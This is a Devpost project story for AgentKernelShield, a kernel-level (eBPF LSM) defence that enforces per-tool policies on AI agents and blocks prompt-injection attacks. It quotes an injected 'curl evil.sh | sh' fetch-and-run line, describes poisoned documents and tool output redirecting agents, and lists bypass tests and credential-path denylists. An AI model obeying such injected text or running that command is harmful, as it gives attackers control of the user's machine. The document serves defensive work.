AgentKernelShield — Project Story
Inspiration
AI agents read untrusted text all day: poisoned docs, malicious web pages,
hostile tool output. One injected sentence — curl evil.sh | sh — and an
agent with shell access becomes someone else's computer. Existing defenses
didn't satisfy us: asking an LLM to police an LLM is probabilistic, app-level
allowlists live inside the process the attacker already influences, static
sandboxes apply one policy to the whole run, and MCP tool annotations
(readOnlyHint, openWorldHint) are advisory vocabulary with zero
enforcement. We wanted the annotations to mean something — enforced where
the attacker can't reach: the Linux kernel.
What it does
AgentKernelShield ties an AI agent's identity (its cgroup) to kernel-level
enforcement (BPF LSM programs), and switches the active policy every time
the agent calls a different MCP tool. A read-only tool physically cannot
write or connect out; the kernel returns EPERM before the syscall
completes. A live terminal UI shows the agent working — task timeline,
per-tool process cards, every allow and block with its reason — plus a
scripted replay mode so anyone can watch a poisoned-document attack get
stopped without owning a BPF-capable machine.
How we built it
Three layers. In the kernel, C eBPF programs on LSM hooks (file_open,
socket_connect, bprm_check_security) check exact-match denylists and
emit ring-buffer events; BPF process-lineage tracking follows forks so
node, sh, and python3 children are attributed to the right agent.
In userspace, a Go daemon (loader, detector, profiles, audit) compiles
human-written YAML policy into maps, evaluates events, and streams JSONL
plus SSE. A Python middleware wraps each MCP tool call with
enter_tool/exit_tool over a Unix socket — in a finally, so crashes
still revert to baseline. Policy switching, IPv6 handling, fail-closed
pinning, and an e2e bypass suite (shebang, symlink, execveat, fork-storm)
were built as phased slices, each with unit tests green before moving on.
Challenges we ran into
- The 10-minute hang. Denylist glob expansion (
/**/.aws/**) walked entire filesystems, following symlinks into/procloops. The first fix (a library skip callback) was provably incapable — its callback only fires for matches. The real fix: a real directory walk with true pruning, no symlink descent, and memoization. - Fail-closed is a discipline, not a flag. Every
return 0in kernel code had to justify itself; ring-buffer-full, path-resolution failure, and daemon death each needed an explicit deny-and-count path. - No enforcement without proof. We banned ourselves from claiming anything the VM hadn't demonstrated, which meant writing honest EXPECTED-FAIL marks and refusing to paste noisy benchmark numbers.
- Two sessions, one tree. Parallel work collided mid-task (rewritten functions, shifted line numbers). Evidence-first verification — reread, don't assume — caught every collision.
Accomplishments that we're proud of
- A strict
MatchCommandexec policy that closed a spoofing hole (attacker-planted same-name binaries) instead of papering over it. - Failure honesty as a feature: the tree marks exactly what is proven (7/7 unit suites, 5/5 middleware tests) and what is pending (VM gates), with nothing in between.
- A judge-ready demo: replay mode, Linear Dark UI, one-command local run.
- Open-source hygiene: granular history (one part per commit), SECURITY.md, threat model, honest rollback docs.
What we learned
- Glob semantics differ between matching (cheap) and expansion (a full filesystem walk) — the map from one to the other is where the bugs live.
- Library callbacks that "support skipping" may only fire for matches; read the source, not the docstring.
- Tests that pass vacuously are worse than no tests: our first skip-logic tests couldn't fail. Mutation thinking (would this test catch the bug deliberately reintroduced?) is now our bar.
- Small, cited, checkable claims beat grand architecture statements.
What's next for AgentKernelShield
- VM proof: e2e, bypass, soak, and sub-5% benchmark numbers on a quiet host.
- Link pinning so
kill -9stops being fail-open. - A real
aks runlauncher (cgroup identity) replacing the current PID-lineage bootstrap. - Fuzzing the YAML parser and socket protocol, a second-kernel compat matrix, and signed releases with SBOMs.
Log in or sign up for Devpost to join the conversation.